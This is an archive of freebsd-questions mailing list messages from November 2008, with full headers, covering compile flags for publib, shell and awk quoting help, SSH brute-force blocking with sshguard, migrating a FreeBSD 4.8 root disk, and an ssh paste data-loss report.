From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 00:10:05 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 245001065670 for ; Sun, 30 Nov 2008 00:10:05 +0000 (UTC) (envelope-from dan@nyi.unixathome.org) Received: from nyi.unixathome.org (nyi.unixathome.org [64.147.113.42]) by mx1.freebsd.org (Postfix) with ESMTP id 003168FC13 for ; Sun, 30 Nov 2008 00:10:04 +0000 (UTC) (envelope-from dan@nyi.unixathome.org) Received: from localhost (localhost [127.0.0.1]) by nyi.unixathome.org (Postfix) with ESMTP id EF51F50A3E for ; Sun, 30 Nov 2008 00:10:03 +0000 (GMT) X-Virus-Scanned: amavisd-new at unixathome.org Received: from nyi.unixathome.org ([127.0.0.1]) by localhost (nyi.unixathome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yFjwdHXR4i7S for ; Sun, 30 Nov 2008 00:10:02 +0000 (GMT) Received: by nyi.unixathome.org (Postfix, from userid 1001) id 796A75092B; Sun, 30 Nov 2008 00:10:01 +0000 (GMT) From: Dan Langille To: freebsd-questions@freebsd.org Message-Id: <20081130001001.796A75092B@nyi.unixathome.org> Date: Sun, 30 Nov 2008 00:10:01 +0000 (GMT) Subject: The FreeBSD Diary: 2008-11-09 - 2008-11-29 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 00:10:05 -0000 The FreeBSD Diary contains a large number of practical examples and how-to guides. This message is posted weekly to freebsd-questions@freebsd.org with the aim of letting people know what's available on the website. Before you post a question here it might be a good idea to first search the mailing list archives and/or The FreeBSD Diary . These are the articles posted during this period: 29-Nov : OpenVPN - creating a routed VPN If you have multiple VPN clients, this is a practical solution. http://freebsddiary.org/openvpn-routed.php?2 27-Nov : OpenVPN - getting it running Using OpenVPN to create a secure pathway between home and office http://freebsddiary.org/openvpn.php?2 27-Nov : Creating your own Certificate Authority How to create a CA and generate your own SSL certificates http://freebsddiary.org/openvpn-easy-rsa.php?2 -- Dan Langille BSDCan - http://www.BSDCan.org/ - BSD Conference From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 01:04:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C4E261065675 for ; Sun, 30 Nov 2008 01:04:53 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.freebsd.org (Postfix) with ESMTP id 8809C8FC13 for ; Sun, 30 Nov 2008 01:04:53 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.3/8.14.3) with ESMTP id mAU14qqY027172 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 29 Nov 2008 19:04:52 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.3/8.14.3/Submit) id mAU14pGd027156; Sat, 29 Nov 2008 19:04:51 -0600 (CST) (envelope-from dan) Date: Sat, 29 Nov 2008 19:04:51 -0600 From: Dan Nelson To: Gary Kline Message-ID: <20081130010450.GC53570@dan.emsphone.com> References: <20081129225120.GA83398@thought.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081129225120.GA83398@thought.org> X-OS: FreeBSD 7.1-PRERELEASE User-Agent: Mutt/1.5.18 (2008-05-17) Cc: FreeBSD Mailing List Subject: Re: Anybody familiar with "publib"?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 01:04:53 -0000 In the last episode (Nov 29), Gary Kline said: > I found a neat function in publib that should do what I want, but > adding either > > #imclude // as per man publib > > OR > > #include "/usr/local/include/publib.h" > > fails. Yes, I am adding "-lpub" to the enc of gcc. Still bombs. > Anybody know why? Prev'ly when I've used the publib functions, I've > had to move/copy a slew of them into my private build. Be nice if > this just-worked! Try adding "-I /usr/local/include" to your compile line, and "-L /usr/local/lib" to your link line. Also, providing the error message instead of just saying "it fails" is helpful. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 01:19:05 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 655E4106567C for ; Sun, 30 Nov 2008 01:19:05 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.189]) by mx1.freebsd.org (Postfix) with ESMTP id E79808FC13 for ; Sun, 30 Nov 2008 01:19:04 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so1027844nfh.33 for ; Sat, 29 Nov 2008 17:19:03 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=pwA6kbpmGMT4gadeZWrc/3UX3o1A+rL+vC8EF74wBjA=; b=VzUqH9+7He2fi2sSxdCnnUoEp1h7PSSqUP6smKh2pXyAJOaxV73o/4+ETvrslkHgO6 rQvuMG+Xh9BSbHJTOFoMwOO8A3WHgfYl9irqAOnhr7Ji1wQRdTm/7fsUzASgbkT/vLf+ gZATHwdQyRtYXrHts3UJ/IzlhNwAJOICU8Z2w= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=lmGDjN8qiePUmuL3HqQrHQ8VGNNNkvhd03cB+4yVtBPB2Oxdt8n1qh1DvRf94J6eje 1ziqOqVwGsNQIW5qN2KpRmfTA2LdQD+89Ye7KSv16cMogKO17l2Ci/lXImyYuBGNhxIq yvZDmO3tIXMvi8XmOiJIB3NWHgpet6NN8elcI= Received: by 10.210.78.16 with SMTP id a16mr10850876ebb.33.1228007943162; Sat, 29 Nov 2008 17:19:03 -0800 (PST) Received: by 10.210.17.12 with HTTP; Sat, 29 Nov 2008 17:19:03 -0800 (PST) Message-ID: Date: Sat, 29 Nov 2008 18:19:03 -0700 From: "Tim Judd" To: perryh@pluto.rain.com In-Reply-To: <4930ff46.LVjmMuGTfhiq3N0y%perryh@pluto.rain.com> MIME-Version: 1.0 References: <4930ff46.LVjmMuGTfhiq3N0y%perryh@pluto.rain.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: shell scripting problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 01:19:05 -0000 This seems to be the ticket. I'll be watching it but now I have an example on how to dual-quote a string. Thanks very much, Perry On Sat, Nov 29, 2008 at 1:37 AM, wrote: > > In the shell script, i have a > > pkg_info -qLx "^$PKG-[0-9,._]+$" > > also tried (-X)tended regex instead of the standard rege(-x). > > > > sh keeps erroring out saying various $" isn't a valid variable > > name ... > > Both sh and csh will try to treat $ inside of "" as a variable > reference. Does it work any better if you enclose the $ in '' > instead? > > If you need the first $ to be a variable reference and the second > to be used literally, you may need to do something like > > "^$PKG-[0-9,._]+"'$' > From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 03:03:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 280581065679 for ; Sun, 30 Nov 2008 03:03:41 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (ns1.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id BA3098FC1B for ; Sun, 30 Nov 2008 03:03:40 +0000 (UTC) (envelope-from kline@thought.org) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id mAU33nf4039143; Sat, 29 Nov 2008 19:03:49 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Sat, 29 Nov 2008 19:03:17 -0800 (PST) Date: Sat, 29 Nov 2008 19:03:17 -0800 From: Gary Kline To: Dan Nelson Message-ID: <20081130030317.GB90350@thought.org> References: <20081129225120.GA83398@thought.org> <20081130010450.GC53570@dan.emsphone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081130010450.GC53570@dan.emsphone.com> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 22 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: FreeBSD Mailing List Subject: Re: Anybody familiar with "publib"?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 03:03:41 -0000 On Sat, Nov 29, 2008 at 07:04:51PM -0600, Dan Nelson wrote: > In the last episode (Nov 29), Gary Kline said: > > I found a neat function in publib that should do what I want, but > > adding either > > > > #imclude // as per man publib > > > > OR > > > > #include "/usr/local/include/publib.h" > > > > fails. Yes, I am adding "-lpub" to the enc of gcc. Still bombs. > > Anybody know why? Prev'ly when I've used the publib functions, I've > > had to move/copy a slew of them into my private build. Be nice if > > this just-worked! > > Try adding "-I /usr/local/include" to your compile line, and > "-L /usr/local/lib" to your link line. Also, providing the error > message instead of just saying "it fails" is helpful. Yes; it took just what you [and Andrew Brampson] suggested. The error were a screen full of lines like: /usr/local/include/publib.h:6:26: error: publib/alloc.h: No such file or directory /usr/local/include/publib.h:7:27: error: publib/base64.h: No such file or directory /usr/local/include/publib.h:8:27: error: publib/bitarr.h: No such file or directory /usr/local/include/publib.h:9:24: error: publib/cmp.h: No such file or directory /usr/local/include/publib.h:10:29: error: publib/errormsg.h: No such file or directory If I had ported publib, I would've stuck publib.h in /usr/include. Then Wirzenius' man page would have been correct, well, modulo the -L /usr/local/lib -lpub linkage. But this is frowned upon in FreeBSD land. > > -- > Dan Nelson > dnelson@allantgroup.com > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 03:04:44 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EAE861065677 for ; Sun, 30 Nov 2008 03:04:44 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id 2C55F8FC22 for ; Sun, 30 Nov 2008 03:04:43 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: (qmail 17812 invoked from network); 30 Nov 2008 03:04:40 -0000 Received: from unknown (HELO blizzard.dnsalias.org) (218.215.165.102) by smtp.mel.people.net.au with SMTP; 30 Nov 2008 03:04:40 -0000 Received: by blizzard.dnsalias.org (Postfix, from userid 1001) id 1E36D17083; Sun, 30 Nov 2008 14:04:44 +1100 (EST) Date: Sun, 30 Nov 2008 14:04:44 +1100 From: andrew clarke To: Jos Chrispijn Message-ID: <20081130030444.GA78553@ozzmosis.com> References: <49319A83.6050407@webrz.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <49319A83.6050407@webrz.net> User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org Subject: Re: Temporarily blocking ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 03:04:45 -0000 On Sat 2008-11-29 20:39:47 UTC+0100, Jos Chrispijn (kernel@webrz.net) wrote: > Can someone hint me how I can block ports for let's say 30 minutes if > someone repeatedly tries to do a SSH login? > I use ipfw as firewall... security/sshguard-ipfw works well for me. From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 05:00:04 2008 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 80A34106564A for ; Sun, 30 Nov 2008 05:00:04 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (aristotle.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id 4923E8FC08 for ; Sun, 30 Nov 2008 05:00:04 +0000 (UTC) (envelope-from kline@thought.org) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id mAU50Ng6039730 for ; Sat, 29 Nov 2008 21:00:24 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Sat, 29 Nov 2008 20:59:52 -0800 (PST) Date: Sat, 29 Nov 2008 20:59:51 -0800 From: Gary Kline To: FreeBSD Mailing List Message-ID: <20081130045944.GA94896@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 22 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: Subject: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 05:00:04 -0000 wordnet/wn prints the string "noun" out whereas I'd rather it simply printed "n." Is there a way of making this substitution using awk? (I've never used awk except as a cmdline filter.) The following fails: wn foot -over |grep Overview |awk {if(!strcmp($3,"noun"))$3="n."; '{printf("%s %s\n", $4, $3);}}' If there are any shortcuts, please clue me in! -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 05:11:08 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9B887106564A for ; Sun, 30 Nov 2008 05:11:08 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 651858FC1E for ; Sun, 30 Nov 2008 05:11:08 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id 8C92E3CAFE; Sun, 30 Nov 2008 06:11:06 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mAU5B4r4001847; Sun, 30 Nov 2008 06:11:04 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Sun, 30 Nov 2008 06:11:04 +0100 From: Polytropon To: Gary Kline Message-Id: <20081130061104.f595db7e.freebsd@edvax.de> In-Reply-To: <20081130045944.GA94896@thought.org> References: <20081130045944.GA94896@thought.org> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: FreeBSD Mailing List Subject: Re: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 05:11:08 -0000 Good morning! On Sat, 29 Nov 2008 20:59:51 -0800, Gary Kline wrote: > wordnet/wn prints the string "noun" out whereas I'd rather it simply > printed "n." Is there a way of making this substitution using awk? > (I've never used awk except as a cmdline filter.) > > The following fails: > > wn foot -over |grep Overview |awk > {if(!strcmp($3,"noun"))$3="n."; '{printf("%s %s\n", $4, $3);}}' Of course. You cannot have $3 as a lvalue (read: You cannot change its value). > If there are any shortcuts, please clue me in! Don't make it more complicated than it is. :-) % wn foot -over | grep "Overview" | awk \ '{ printf("%s %s\n", $4, gsub("noun", "n.", $3)); }' And the more I think about it, the more I believe there are much easier ways to do this. But I'm sure the magic of how it works just opened up to you. Sidenote: I wouldn't consider myself as an AWK expert allthough I did abuse AWK lately to implement a stastistical evaluation program for blood sugar data into a PDF file with diagrams a CVS file, involving gnuplot and \LaTeX{}. =^_^= -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 05:17:33 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 70B8E106564A for ; Sun, 30 Nov 2008 05:17:33 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 03F6D8FC12 for ; Sun, 30 Nov 2008 05:17:32 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id 2CAE23CAD7; Sun, 30 Nov 2008 06:17:33 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mAU5HVEc002270; Sun, 30 Nov 2008 06:17:31 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Sun, 30 Nov 2008 06:17:31 +0100 From: Polytropon To: Polytropon Message-Id: <20081130061731.0691f5ea.freebsd@edvax.de> In-Reply-To: <20081130061104.f595db7e.freebsd@edvax.de> References: <20081130045944.GA94896@thought.org> <20081130061104.f595db7e.freebsd@edvax.de> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Gary Kline , FreeBSD Mailing List Subject: Re: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 05:17:33 -0000 Replying to my own message: I found a point for improvement. Why use grep when awk can grep by itself? % wn foot -over | awk '/Overview/ { printf("%s %s\n", $4, gsub("noun", "n.", $3)); }' Ah, much better. :-) -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 05:57:38 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 86B8A1065673 for ; Sun, 30 Nov 2008 05:57:38 +0000 (UTC) (envelope-from admin@azuni.net) Received: from mail.azuni.net (ns0.azuni.net [217.25.25.3]) by mx1.freebsd.org (Postfix) with ESMTP id 9F0D18FC13 for ; Sun, 30 Nov 2008 05:57:36 +0000 (UTC) (envelope-from admin@azuni.net) Received: (qmail 69596 invoked by uid 1004); 30 Nov 2008 05:57:35 -0000 Received: from admin@azuni.net by mail.azuni.net by uid 89 with qmail-scanner-1.20 (clamscan: 0.65. spamassassin: 2.63. Clear:RC:1(217.25.27.27):. Processed in 0.017387 secs); 30 Nov 2008 05:57:35 -0000 Received: from unknown (HELO ?217.25.27.27?) (admin@azuni.net@217.25.27.27) by ns0.azuni.net with AES256-SHA encrypted SMTP; 30 Nov 2008 05:57:35 -0000 Message-ID: <49322B49.80005@azuni.net> Date: Sun, 30 Nov 2008 09:57:29 +0400 From: admin@azuni.net Organization: UniNet User-Agent: Icedove 1.5.0.14eol (X11/20080724) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: RW Subject: Re: FreeBSD 4.8: can't load kernel after doing "cp -R /" to another disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 05:57:38 -0000 >> >> Hello, everyone. This is the problem: our SCSI disk with FreeBSD 4.8 >> on it has been failing recently, so I copied its root partition to a >> fresh IDE disk with cp -pR and > > You should use dump and restore to copy the root partition, see: > I'd done that before trying cp -pR, as outlined by rse@: dump -L -0 -f- /old | (cd /new && restore -r -v -f-) http://people.freebsd.org/~rse/mirror/ which isn't too different. I think I know what the problem is: I made the new single slice and FreeBSD partition on it and ran newfs -U on it using the latest FreeBSD 5.x livecd toolkit, and later 4.8 can't even mount that partition (mount /dev/ad0s1a /mnt) failing with "incorrect superblock", so I think its /boot/loader can't load the kernel because of FS issues (but strangely enough pressing "?" at the boot loader prompt lists directory entries of the root FS just fine). It turns out UFS isn't upwards compatible from releases 4.8 -> 5.5. I'll try running newfs -U from 4.8. Last time I checked many 4.8 binaries couldn't run due to disk errors, I hope newfs runs ok... From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 06:19:40 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8633B1065670 for ; Sun, 30 Nov 2008 06:19:40 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: from mu-out-0910.google.com (mu-out-0910.google.com [209.85.134.184]) by mx1.freebsd.org (Postfix) with ESMTP id 119288FC08 for ; Sun, 30 Nov 2008 06:19:39 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: by mu-out-0910.google.com with SMTP id i2so1810944mue.3 for ; Sat, 29 Nov 2008 22:19:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:from:to :content-type:mime-version:subject:date:x-mailer; bh=LbD2UuM2UgJI+enInk/l1NOzBcazVszUD/rZQXzLSxc=; b=rha3TbHbEoeVljF9QtxW7vfJAabtEpNwf1u/a/MFrIKcIuBHc044l2CtwlaYu4XmbO iggAnfiVRHg84110regohRNZe8Ie5y2rzKEgmOfAqFVQ2wztDsRQ7gUlIQ5JaiTx7gFT Jze3xvYsxmCYYOYoXfmQllLa9P+fjRSNUMv1I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:from:to:content-type:mime-version:subject:date:x-mailer; b=kpg5uAzcpwJRuh9DUjske32PmD5qYTMo9kuVcao22YGzSu5o3V3SrSZDLMJhWGr2Mb c/ObRpXXgvFVQ39fE6q/FZpcSkICV+tJxbMUrjww9OO1kCV5oDLRlSPnRWubdAeF4Ei/ DcU5shkBtm0X24Z835MiAbkpKh7xO+Hf9JO68= Received: by 10.103.229.12 with SMTP id g12mr3901976mur.16.1228024021933; Sat, 29 Nov 2008 21:47:01 -0800 (PST) Received: from ?192.168.1.50? (ppp91-76-54-50.pppoe.mtu-net.ru [91.76.54.50]) by mx.google.com with ESMTPS id 23sm5457114mun.58.2008.11.29.21.47.00 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sat, 29 Nov 2008 21:47:01 -0800 (PST) Message-Id: From: Eugene Pimenov To: freebsd-questions@freebsd.org Mime-Version: 1.0 (Apple Message framework v929.2) Date: Sun, 30 Nov 2008 08:46:59 +0300 X-Mailer: Apple Mail (2.929.2) Content-Type: text/plain; charset=WINDOWS-1251; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 06:19:40 -0000 Hello everyone, I'm not really sure weither it's related to freebsd or ssh. When I paste a lot of data (6060 bytes, 60 lines 100 bytes each + =20 =91\n=92) via ssh into `cat > test.txt` or the small program, one = freebsd =20 receives 5181, another receives 3221 bytes. The number of bytes freebsd receives are always the same. I can't reproduce this on linux (OpenSSH 4.3p2 on debian and OpenSSH =20 4.7p1 on 2 gentoo boxes). Also, I have one freebsd box without this =20 problem (7.0-STABLE, openssh 4.5p1). Source of the small program: #include int main() { char buf[10000]; size_t readed =3D 0; while(!feof(stdin)) { readed+=3Dfread(buf, 1, sizeof(buf), stdin); } printf("I've received %d bytes\n", readed); return 0; } Versions of sshd are =93OpenSSH_4.5p1 FreeBSD-20061110, OpenSSL 0.9.8e =20= 23 Feb 2007=94. FreeBSD versions are FreeBSD 7.0-BETA4 and FreeBSD 7.0-=20= RELEASE. Why is it happening? What should I do to stop this? It's pretty =20 annoying. ~ From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 06:52:37 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ADE611065672 for ; Sun, 30 Nov 2008 06:52:37 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (ns1.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id 789D38FC13 for ; Sun, 30 Nov 2008 06:52:37 +0000 (UTC) (envelope-from kline@thought.org) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id mAU6qg5g040317; Sat, 29 Nov 2008 22:52:42 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Sat, 29 Nov 2008 22:52:10 -0800 (PST) Date: Sat, 29 Nov 2008 22:52:10 -0800 From: Gary Kline To: Polytropon Message-ID: <20081130065209.GA98518@thought.org> References: <20081130045944.GA94896@thought.org> <20081130061104.f595db7e.freebsd@edvax.de> <20081130061731.0691f5ea.freebsd@edvax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081130061731.0691f5ea.freebsd@edvax.de> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 22 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: FreeBSD Mailing List Subject: Re: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 06:52:37 -0000 On Sun, Nov 30, 2008 at 06:17:31AM +0100, Polytropon wrote: > Replying to my own message: I found a point for improvement. > Why use grep when awk can grep by itself? > > % wn foot -over | awk '/Overview/ { printf("%s %s\n", $4, gsub("noun", "n.", $3)); }' > > Ah, much better. :-) > Thanks for the clue[s], :) $3 isn't only an lvalue, it's a constant. My bad in my first try. What you have above prints: foot 1 // noun foot 0 // verb so doesn't work entirely, but is a good start. (BTW, man gsub turned up nothing, so I'm assuming thhat gsub it part of awk. And [gn]awk.) Um, no, same with nawk, gawk, awk. gary > > -- > Polytropon > From Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 07:07:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from 